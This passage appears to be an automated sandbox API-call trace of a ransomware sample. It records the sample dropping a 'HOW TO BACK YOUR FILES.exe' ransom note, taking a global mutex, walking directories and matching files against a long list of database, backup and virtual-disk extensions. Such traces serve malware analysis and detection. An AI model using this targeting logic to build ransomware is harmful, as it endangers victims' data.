pbBuffer=0x241d1d8) returned 1 [0093.824] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.824] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f00, lpName=0x0) returned 0x17c [0093.826] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f00) returned 0x100000 [0093.828] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.828] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.828] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.829] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.829] CloseHandle (hObject=0x17c) returned 1 [0093.829] CloseHandle (hObject=0x154) returned 1 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.830] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0093.830] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0093.830] ReleaseMutex (hMutex=0xec) returned 1 [0093.830] CloseHandle (hObject=0xec) returned 1 [0093.830] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0093.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bc88 | out: hHeap=0x4f0000) returned 1 [0093.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f8e0 | out: hHeap=0x4f0000) returned 1 [0093.830] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned 47 [0093.830] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EE9C0BC3BB24CD1849B50DB35916B494") returned 0xec [0093.830] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0093.830] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0093.830] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0093.830] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\how to back your files.exe"), bFailIfExists=1) returned 0 [0093.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0093.831] GetLastError () returned 0x0 [0093.831] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0093.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0093.831] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0093.832] CloseHandle (hObject=0xf4) returned 1 [0093.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0093.832] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0093.832] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1176820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc1176820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0093.832] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.832] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.832] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.832] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1176820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc1176820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.832] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.832] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.832] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.832] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.832] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1176820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc1176820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0093.832] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0093.832] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0093.832] lstrcmpiW (lpString1="install.ins", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.832] lstrcmpiW (lpString1="install.ins", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.832] lstrcmpiW (lpString1="install.ins", lpString2=".") returned 1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="..") returned 1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="windows") returned -1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="bootmgr") returned 1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="temp") returned -1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="pagefile.sys") returned -1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="boot") returned 1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="ids.txt") returned 1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="ntuser.dat") returned -1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="perflogs") returned -1 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2="MSBuild") returned -1 [0093.833] lstrlenW (lpString="install.ins") returned 11 [0093.833] lstrcpyW (in: lpString1=0x241e8a8, lpString2="install.ins" | out: lpString1="install.ins") returned="install.ins" [0093.833] lstrlenW (lpString="install.ins") returned 11 [0093.833] lstrlenW (lpString="Athena865") returned 9 [0093.833] lstrcmpiW (lpString1="stall.ins", lpString2="Athena865") returned 1 [0093.833] lstrlenW (lpString=".dll") returned 4 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2=".dll") returned 1 [0093.833] lstrlenW (lpString=".lnk") returned 4 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2=".lnk") returned 1 [0093.833] lstrlenW (lpString=".ini") returned 4 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2=".ini") returned 1 [0093.833] lstrlenW (lpString=".sys") returned 4 [0093.833] lstrcmpiW (lpString1="install.ins", lpString2=".sys") returned 1 [0093.833] lstrlenW (lpString="install.ins") returned 11 [0093.833] lstrlenW (lpString="bak") returned 3 [0093.833] lstrcmpiW (lpString1="ins", lpString2="bak") returned 1 [0093.833] lstrlenW (lpString="ba_") returned 3 [0093.833] lstrcmpiW (lpString1="ins", lpString2="ba_") returned 1 [0093.833] lstrlenW (lpString="dbb") returned 3 [0093.833] lstrcmpiW (lpString1="ins", lpString2="dbb") returned 1 [0093.834] lstrlenW (lpString="vmdk") returned 4 [0093.834] lstrcmpiW (lpString1=".ins", lpString2="vmdk") returned -1 [0093.834] lstrlenW (lpString="rar") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="rar") returned -1 [0093.834] lstrlenW (lpString="zip") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="zip") returned -1 [0093.834] lstrlenW (lpString="tgz") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="tgz") returned -1 [0093.834] lstrlenW (lpString="vbox") returned 4 [0093.834] lstrcmpiW (lpString1=".ins", lpString2="vbox") returned -1 [0093.834] lstrlenW (lpString="vdi") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="vdi") returned -1 [0093.834] lstrlenW (lpString="vhd") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="vhd") returned -1 [0093.834] lstrlenW (lpString="vhdx") returned 4 [0093.834] lstrcmpiW (lpString1=".ins", lpString2="vhdx") returned -1 [0093.834] lstrlenW (lpString="avhd") returned 4 [0093.834] lstrcmpiW (lpString1=".ins", lpString2="avhd") returned -1 [0093.834] lstrlenW (lpString="db") returned 2 [0093.834] lstrcmpiW (lpString1="ns", lpString2="db") returned 1 [0093.834] lstrlenW (lpString="db2") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="db2") returned 1 [0093.834] lstrlenW (lpString="db3") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="db3") returned 1 [0093.834] lstrlenW (lpString="dbf") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="dbf") returned 1 [0093.834] lstrlenW (lpString="mdf") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="mdf") returned -1 [0093.834] lstrlenW (lpString="mdb") returned 3 [0093.834] lstrcmpiW (lpString1="ins", lpString2="mdb") returned -1 [0093.835] lstrlenW (lpString="sql") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="sql") returned -1 [0093.835] lstrlenW (lpString="sqlite") returned 6 [0093.835] lstrcmpiW (lpString1="ll.ins", lpString2="sqlite") returned -1 [0093.835] lstrlenW (lpString="sqlite3") returned 7 [0093.835] lstrcmpiW (lpString1="all.ins", lpString2="sqlite3") returned -1 [0093.835] lstrlenW (lpString="sqlitedb") returned 8 [0093.835] lstrcmpiW (lpString1="tall.ins", lpString2="sqlitedb") returned 1 [0093.835] lstrlenW (lpString="xml") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="xml") returned -1 [0093.835] lstrlenW (lpString="$er") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="$er") returned 1 [0093.835] lstrlenW (lpString="4dd") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="4dd") returned 1 [0093.835] lstrlenW (lpString="4dl") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="4dl") returned 1 [0093.835] lstrlenW (lpString="^^^") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="^^^") returned 1 [0093.835] lstrlenW (lpString="abs") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="abs") returned 1 [0093.835] lstrlenW (lpString="abx") returned 3 [0093.835] lstrcmpiW (lpString1="ins", lpString2="abx") returned 1 [0093.835] lstrlenW (lpString="accdb") returned 5 [0093.835] lstrcmpiW (lpString1="l.ins", lpString2="accdb") returned 1 [0093.835] lstrlenW (lpString="accdc") returned 5 [0093.835] lstrcmpiW (lpString1="l.ins", lpString2="accdc") returned 1 [0093.835] lstrlenW (lpString="accde") returned 5 [0093.835] lstrcmpiW (lpString1="l.ins", lpString2="accde") returned 1 [0093.835] lstrlenW (lpString="accdr") returned 5 [0093.835] lstrcmpiW (lpString1="l.ins", lpString2="accdr") returned 1 [0093.835] lstrlenW (lpString="accdt") returned 5 [0093.835] lstrcmpiW (lpString1="l.ins", lpString2="accdt") returned 1 [0093.836] lstrlenW (lpString="accdw") returned 5 [0093.836] lstrcmpiW (lpString1="l.ins", lpString2="accdw") returned 1 [0093.836] lstrlenW (lpString="accft") returned 5 [0093.836] lstrcmpiW (lpString1="l.ins", lpString2="accft") returned 1 [0093.836] lstrlenW (lpString="adb") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="adb") returned 1 [0093.836] lstrlenW (lpString="adb") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="adb") returned 1 [0093.836] lstrlenW (lpString="ade") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="ade") returned 1 [0093.836] lstrlenW (lpString="adf") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="adf") returned 1 [0093.836] lstrlenW (lpString="adn") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="adn") returned 1 [0093.836] lstrlenW (lpString="adp") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="adp") returned 1 [0093.836] lstrlenW (lpString="alf") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="alf") returned 1 [0093.836] lstrlenW (lpString="ask") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="ask") returned 1 [0093.836] lstrlenW (lpString="btr") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="btr") returned 1 [0093.836] lstrlenW (lpString="cat") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="cat") returned 1 [0093.836] lstrlenW (lpString="cdb") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="cdb") returned 1 [0093.836] lstrlenW (lpString="ckp") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="ckp") returned 1 [0093.836] lstrlenW (lpString="cma") returned 3 [0093.836] lstrcmpiW (lpString1="ins", lpString2="cma") returned 1 [0093.837] lstrlenW (lpString="cpd") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="cpd") returned 1 [0093.837] lstrlenW (lpString="dacpac") returned 6 [0093.837] lstrcmpiW (lpString1="ll.ins", lpString2="dacpac") returned 1 [0093.837] lstrlenW (lpString="dad") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dad") returned 1 [0093.837] lstrlenW (lpString="dadiagrams") returned 10 [0093.837] lstrcmpiW (lpString1="nstall.ins", lpString2="dadiagrams") returned 1 [0093.837] lstrlenW (lpString="daschema") returned 8 [0093.837] lstrcmpiW (lpString1="tall.ins", lpString2="daschema") returned 1 [0093.837] lstrlenW (lpString="db-journal") returned 10 [0093.837] lstrcmpiW (lpString1="nstall.ins", lpString2="db-journal") returned 1 [0093.837] lstrlenW (lpString="db-shm") returned 6 [0093.837] lstrcmpiW (lpString1="ll.ins", lpString2="db-shm") returned 1 [0093.837] lstrlenW (lpString="db-wal") returned 6 [0093.837] lstrcmpiW (lpString1="ll.ins", lpString2="db-wal") returned 1 [0093.837] lstrlenW (lpString="dbc") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dbc") returned 1 [0093.837] lstrlenW (lpString="dbs") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dbs") returned 1 [0093.837] lstrlenW (lpString="dbt") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dbt") returned 1 [0093.837] lstrlenW (lpString="dbv") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dbv") returned 1 [0093.837] lstrlenW (lpString="dbx") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dbx") returned 1 [0093.837] lstrlenW (lpString="dcb") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dcb") returned 1 [0093.837] lstrlenW (lpString="dct") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dct") returned 1 [0093.837] lstrlenW (lpString="dcx") returned 3 [0093.837] lstrcmpiW (lpString1="ins", lpString2="dcx") returned 1 [0093.837] lstrlenW (lpString="ddl") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="ddl") returned 1 [0093.838] lstrlenW (lpString="dlis") returned 4 [0093.838] lstrcmpiW (lpString1=".ins", lpString2="dlis") returned -1 [0093.838] lstrlenW (lpString="dp1") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="dp1") returned 1 [0093.838] lstrlenW (lpString="dqy") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="dqy") returned 1 [0093.838] lstrlenW (lpString="dsk") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="dsk") returned 1 [0093.838] lstrlenW (lpString="dsn") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="dsn") returned 1 [0093.838] lstrlenW (lpString="dtsx") returned 4 [0093.838] lstrcmpiW (lpString1=".ins", lpString2="dtsx") returned -1 [0093.838] lstrlenW (lpString="dxl") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="dxl") returned 1 [0093.838] lstrlenW (lpString="eco") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="eco") returned 1 [0093.838] lstrlenW (lpString="ecx") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="ecx") returned 1 [0093.838] lstrlenW (lpString="edb") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="edb") returned 1 [0093.838] lstrlenW (lpString="epim") returned 4 [0093.838] lstrcmpiW (lpString1=".ins", lpString2="epim") returned -1 [0093.838] lstrlenW (lpString="fcd") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="fcd") returned 1 [0093.838] lstrlenW (lpString="fdb") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="fdb") returned 1 [0093.838] lstrlenW (lpString="fic") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="fic") returned 1 [0093.838] lstrlenW (lpString="flexolibrary") returned 12 [0093.838] lstrlenW (lpString="fm5") returned 3 [0093.838] lstrcmpiW (lpString1="ins", lpString2="fm5") returned 1 [0093.839] lstrlenW (lpString="fmp") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fmp") returned 1 [0093.839] lstrlenW (lpString="fmp12") returned 5 [0093.839] lstrcmpiW (lpString1="l.ins", lpString2="fmp12") returned 1 [0093.839] lstrlenW (lpString="fmpsl") returned 5 [0093.839] lstrcmpiW (lpString1="l.ins", lpString2="fmpsl") returned 1 [0093.839] lstrlenW (lpString="fol") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fol") returned 1 [0093.839] lstrlenW (lpString="fp3") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fp3") returned 1 [0093.839] lstrlenW (lpString="fp4") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fp4") returned 1 [0093.839] lstrlenW (lpString="fp5") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fp5") returned 1 [0093.839] lstrlenW (lpString="fp7") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fp7") returned 1 [0093.839] lstrlenW (lpString="fpt") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="fpt") returned 1 [0093.839] lstrlenW (lpString="frm") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="frm") returned 1 [0093.839] lstrlenW (lpString="gdb") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="gdb") returned 1 [0093.839] lstrlenW (lpString="gdb") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="gdb") returned 1 [0093.839] lstrlenW (lpString="grdb") returned 4 [0093.839] lstrcmpiW (lpString1=".ins", lpString2="grdb") returned -1 [0093.839] lstrlenW (lpString="gwi") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="gwi") returned 1 [0093.839] lstrlenW (lpString="hdb") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="hdb") returned 1 [0093.839] lstrlenW (lpString="his") returned 3 [0093.839] lstrcmpiW (lpString1="ins", lpString2="his") returned 1 [0093.839] lstrlenW (lpString="ib") returned 2 [0093.840] lstrcmpiW (lpString1="ns", lpString2="ib") returned 1 [0093.840] lstrlenW (lpString="idb") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="idb") returned 1 [0093.840] lstrlenW (lpString="ihx") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="ihx") returned 1 [0093.840] lstrlenW (lpString="itdb") returned 4 [0093.840] lstrcmpiW (lpString1=".ins", lpString2="itdb") returned -1 [0093.840] lstrlenW (lpString="itw") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="itw") returned -1 [0093.840] lstrlenW (lpString="jet") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="jet") returned -1 [0093.840] lstrlenW (lpString="jtx") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="jtx") returned -1 [0093.840] lstrlenW (lpString="kdb") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="kdb") returned -1 [0093.840] lstrlenW (lpString="kexi") returned 4 [0093.840] lstrcmpiW (lpString1=".ins", lpString2="kexi") returned -1 [0093.840] lstrlenW (lpString="kexic") returned 5 [0093.840] lstrcmpiW (lpString1="l.ins", lpString2="kexic") returned 1 [0093.840] lstrlenW (lpString="kexis") returned 5 [0093.840] lstrcmpiW (lpString1="l.ins", lpString2="kexis") returned 1 [0093.840] lstrlenW (lpString="lgc") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="lgc") returned -1 [0093.840] lstrlenW (lpString="lwx") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="lwx") returned -1 [0093.840] lstrlenW (lpString="maf") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="maf") returned -1 [0093.840] lstrlenW (lpString="maq") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="maq") returned -1 [0093.840] lstrlenW (lpString="mar") returned 3 [0093.840] lstrcmpiW (lpString1="ins", lpString2="mar") returned -1 [0093.840] lstrlenW (lpString="marshal") returned 7 [0093.840] lstrcmpiW (lpString1="all.ins", lpString2="marshal") returned -1 [0093.840] lstrlenW (lpString="mas") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mas") returned -1 [0093.841] lstrlenW (lpString="mav") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mav") returned -1 [0093.841] lstrlenW (lpString="maw") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="maw") returned -1 [0093.841] lstrlenW (lpString="mdbhtml") returned 7 [0093.841] lstrcmpiW (lpString1="all.ins", lpString2="mdbhtml") returned -1 [0093.841] lstrlenW (lpString="mdn") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mdn") returned -1 [0093.841] lstrlenW (lpString="mdt") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mdt") returned -1 [0093.841] lstrlenW (lpString="mfd") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mfd") returned -1 [0093.841] lstrlenW (lpString="mpd") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mpd") returned -1 [0093.841] lstrlenW (lpString="mrg") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mrg") returned -1 [0093.841] lstrlenW (lpString="mud") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mud") returned -1 [0093.841] lstrlenW (lpString="mwb") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="mwb") returned -1 [0093.841] lstrlenW (lpString="myd") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="myd") returned -1 [0093.841] lstrlenW (lpString="ndf") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="ndf") returned -1 [0093.841] lstrlenW (lpString="nnt") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="nnt") returned -1 [0093.841] lstrlenW (lpString="nrmlib") returned 6 [0093.841] lstrcmpiW (lpString1="ll.ins", lpString2="nrmlib") returned -1 [0093.841] lstrlenW (lpString="ns2") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="ns2") returned -1 [0093.841] lstrlenW (lpString="ns3") returned 3 [0093.841] lstrcmpiW (lpString1="ins", lpString2="ns3") returned -1 [0093.842] lstrlenW (lpString="ns4") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="ns4") returned -1 [0093.842] lstrlenW (lpString="nsf") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="nsf") returned -1 [0093.842] lstrlenW (lpString="nv") returned 2 [0093.842] lstrcmpiW (lpString1="ns", lpString2="nv") returned -1 [0093.842] lstrlenW (lpString="nv2") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="nv2") returned -1 [0093.842] lstrlenW (lpString="nwdb") returned 4 [0093.842] lstrcmpiW (lpString1=".ins", lpString2="nwdb") returned -1 [0093.842] lstrlenW (lpString="nyf") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="nyf") returned -1 [0093.842] lstrlenW (lpString="odb") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="odb") returned -1 [0093.842] lstrlenW (lpString="odb") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="odb") returned -1 [0093.842] lstrlenW (lpString="oqy") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="oqy") returned -1 [0093.842] lstrlenW (lpString="ora") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="ora") returned -1 [0093.842] lstrlenW (lpString="orx") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="orx") returned -1 [0093.842] lstrlenW (lpString="owc") returned 3 